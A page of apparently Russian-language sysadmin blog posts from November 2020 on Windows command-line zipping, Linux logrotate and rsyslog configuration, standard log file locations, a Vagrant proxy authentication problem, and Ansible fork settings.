it searches for any string in list of strings or file. 

It is very fast. 

(f|g)ile 

Friday 20 November 2020

Zip в командной строке Windows 10.

Всем приветик. 

А у меня новость. Новость для меня, но может и для вас.) Ну то что Windows 10 умеет открывать и создавать zip-архивы из коробки вы наверняка знаете. Но вчера мне понадобилось это же сделать из командной строки. Вот так вот, а здесь и оказался сюрприз.

Традиционно это можно сделать в Powershell:

# example 1

Compress-Archive in.txt out.zip

# example 2

Expand-Archive out.zip

А в строке вот так:

# example 1

tar.exe -a -c -f out.zip in.txt

# example 2

tar.exe -x -f out.zip

Что? Не может быть - tar?! Да, именно так - теперь tar присутствует и в Windows 10. Но если вам такое соседство противно, то ставьте бесплатный 7-Zip и пользуйтесь им:

"C:\Program files\7-Zip\7z.exe" e d:\dest\out.zip

Успехов.

Thursday 19 November 2020

Читаем журналы Linux #5 - ротация.


Всем привет.

Со временем журналы становятся больше, поскольку в них появляется новая информация. Это создает потенциальную проблему производительности. Кроме того, управление файлами становится затруднительным.

Linux использует понятие «ротации» журналов вместо их очистки или удаления. При ротации создается новый каталог, а старый переименуется и при необходимости сжимается. Таким образом, журналы имеют несколько старых версий. Эти файлы будут возвращаться в течение определенного периода времени в виде так называемых backlog-ов. Как только будет получено определенное количество backlog-ов, новая ротация удалит самый старый журнал.

Ротация выполняется при помощи утилиты «logrotate».

Конфигурационный файл logrotate.

Как и rsyslog, logrotate зависит от конфигурационного файла по имени logrotate.conf, который находится в /etc.

Wednesday 18 November 2020

Vagrant и proxy.


Всем привет.

Используя vagrant в своей DevOps-практике я столкнулся с проблемой его работы через прокси. Установив версию vagrant 2.2.10 я попытался добавить бокс alpine-сборки Linux:

vagrant box add generic/alpine38

На что получил ошибку resolving-а в отношении портала vagrant. Тогда я по подсказке самого портала прописал в моем окружении переменные для vagrant:

set http_proxy=http://UserName01:password10@proxy2.forza.com:9090

set VAGRANT_HTTP_PROXY=%http_proxy%

set VAGRANT_HTTPS_PROXY=%http_proxy%

set VAGRANT_NO_PROXY="127.0.0.1"


И попробовал добавить бокс alpine-сборки еще раз. Увы, ошибка resolving-а повторилась.

Тогда я переключил vagrant в режим отладки:

VAGRANT_LOG=info vagrant up

vagrant up --debug &> vagrant.log


И получил вот такую вот строку в конце продолжительного журнала vagrant.log:

C:/HashiCorp/Vagrant/embedded/mingw64/lib/ruby/2.6.0/net/http/response.rb:122:in 

`error!': 407 "authenticationrequired" (Net::HTTPServerException)


Что говорит о том что моему vagrant-у нужна авторизация для того чтобы пробиться в интернет.

В одной из веток портала я нашел информацию что для работы vagrant через проски может помочь плагин vagrant-proxyconf. Для его использвания достаточно указать в своем vagrantfile следующее: 

  config.vm.box = "alpine/latest"

  if Vagrant.has_plugin?("vagrant-proxyconf")

     config.proxy.http     = "http://UserName01:password10@proxy2.forza.com:9090"

     config.proxy.https    = "http://UserName01:password10@proxy2.forza.com:9090"

     config.proxy.no_proxy = "localhost,127.0.0.1,.example.com"

  end


Замечательно. "Наконец то решение!" решил я. И поспешил его установить.

Я пробовал так:

vagrant plugin install vagrant-proxyconf

И так:

vagrant plugin install --plugin-clean-sources --plugin-source https://rubygems.org vagrant-proxyconf

И даже так:

vagrant plugin install C:\HashiCorp\Vagrant\vagrant-proxyconf-2.0.10.gem


Меня ждало разочарование. Оказалось чтобы установить проски-плагин vagrant требует все тот же прокси. Круг замкнулся. Попытка решить мою проблему через issue с разработчиком к результату не привела.

Возможно вы знаете ответ?



Tuesday 17 November 2020

Читаем журналы Linux #4 - rsyslog.


Всем привет.

Центром механизма журналирования является демон Rsyslog:  (R)ocket-fast (Sys)tem for (log) processing. Данный сервис отвечает за прослушивание зарегистрированных сообщений различных частей системы Linux и маршрутизацию сообщения к соответствующему журналу в каталоге /var/log. Он также может передавать зарегистрированные сообщения другому серверу Linux. Весьма подробно настройка rsyslog показана здесь.

Особенности Rsyslog:

-многопоточный

-TCP, SSL, TLS, RELP, etc.

-сохранение логов в базы данных (MySQL, PostgreSQL, Oracle, etc.)

-фильтрация по любой части лога

-полностью настраиваемый формат вывода.


Конфигурационный файл rsyslog.

Демон rsyslog получает конфигурации из файла «rsyslog.conf», который находится в каталоге /etc.

В основном, файл rsyslog.conf говорит демону, где хранить сообщения. Данная информация имеет вид серии строк, состоящих из двух частей. Под двумя частями строк подразумеваются селектор и действие (selector и action). Они разделяются пробельным символом. Селектор указывает на  источник и важность сообщения, а действие говорит, что нужно сделать с данным сообщением. Сам селектор также разделен на 2 части символом точки (.). Часть перед символом точки называется объектом (источник сообщения), а часть за символом называется приоритетом (степень важности сообщения). Комбинация объекта-приоритета и действия говорит rsyslog, что делать, если сообщение соответствует указанным параметрам.

Вот отрывок из файла rsyslog.conf на CentOS:

# rsyslog v5 configuration file

...

# Include all config files in /etc/rsyslog.d/

IncludeConfig /etc/rsyslog.d/*.conf

#### RULES ####

# Log all kernel messages to the console.

# Logging much else clutters up the screen.

#kern.*  /dev/console

# Log anything (except mail) of level info or higher.

# Don't log private authentication messages!

*.info;mail.none;authpriv.none;cron.none                /var/log/messages

# The authpriv file has restricted access.

authpriv.*                                              /var/log/secure

# Log all the mail messages in one place.

mail.*                                                  -/var/log/maillog

# Log cron stuff

cron.*                                                  /var/log/cron

# Everybody gets emergency messages

*.emerg                                                 *

# Save news errors of level crit and higher in a special file.

uucp,news.crit                                          /var/log/spooler

# Save boot messages also to boot.log

local7.*                                                /var/log/boot.log

...

Sunday 15 November 2020

Читаем журналы Linux #3.


Всем привет.

Показывая Как читать журналы также необходимо сказать Что именно читать. Поэтому сказав вчера "А" сегодня скажу "Б", т.е. продолжу серию заметок про журналы Linux.

Администраторам Linux часто нужно заглядывать в лог-файлы для устранения неполадок. По сути, это действие первой необходимости для любого админа. Система Linux и ее приложения могут создавать разные типы сообщений, которые записываются в различные журналы. Linux использует набор конфигурационных файлов, каталогов, программ, команд и демонов для создания, хранения и повторного использования таких сообщений. Поэтому зная, где система хранит свои журналы и как воспользоваться определенными командами, можно сэкономить драгоценное время во время устранения неполадок.

Стандартные журналы.

По умолчанию журналы в Linux хранятся в  /var/log.

Для просмотра списка журналов, находящихся в данном каталоге, используйте команду ls -l /var/log.

Примеры журналов:

/var/log/syslog или /var/log/messages - глобальный системный журнал

/var/log/auth.log или /var/log/secure - информация об авторизации пользователей

/var/log/dmesg - оборудование и драйверы устройств

/var/log/anaconda.log - лог установки системы

/var/log/audit - лог демона auditd

/var/log/boot.log - лог загрузки системы

/var/log/cron - лог демона crond

Для каждого дистрибутива создается отдельный журнал менеджера пакетов:

/var/log/yum.log — для программ установленных с помощью yum в RedHat

/var/log/emerge.log — для ebuild-ов установленных из Portage с помощью emerge в Gentoo

/var/log/dpkg.log — для программ установленных с помощью dpkg в Debian и всем семействе родственных дистрибутивов

/var/log/mysql - логи базы данных MySQL

/var/log/apache2 - логи веб-сервера Apache

/var/log/nginx - логи веб-сервера NGINX


root@logs ~]# dmesg -l err

[1131424.604352] logs kernel: end_request: I/O error, dev sdc, sector 

[1131424.604352] logs kernel: Buffer I/O error on device sdc, logical 

[1131424.604352] logs kernel: Buffer I/O error on device sdc, logical 

Saturday 14 November 2020

Ускоряем Ansible #4.

Всем привет.

Финальная часть по ускорению сценариев Ansible.

#4 Параллелизм.

Для каждой задачи Ansible устанавливает соединения параллельно с несколькими хостами и запускает на них одну и ту же задачу параллельно. Однако Ansible необязательно будет устанавливать соединения сразу со всеми хостами -уровень параллелизма контролируется параметром по умолчанию, равным 5. Изменить его можно одним из двух способов. Можно настроить переменную среды ANSIBLE_FORKS, как это показано в примере 11.

Пример 11 Настройка ANSIBLE_FORKS

$ export ANSIBLE_FORKS=20

$ ansible-playbook playbook.yml

Можно также изменить настройки в файле конфигурации Ansible (ansible.cfg), определив параметр forks в секции default, как показано в примере 12.

Пример 12 ansible.cfg. Настройка параллелизма

[defaults]

forks = 26

Версия на печать

Популярное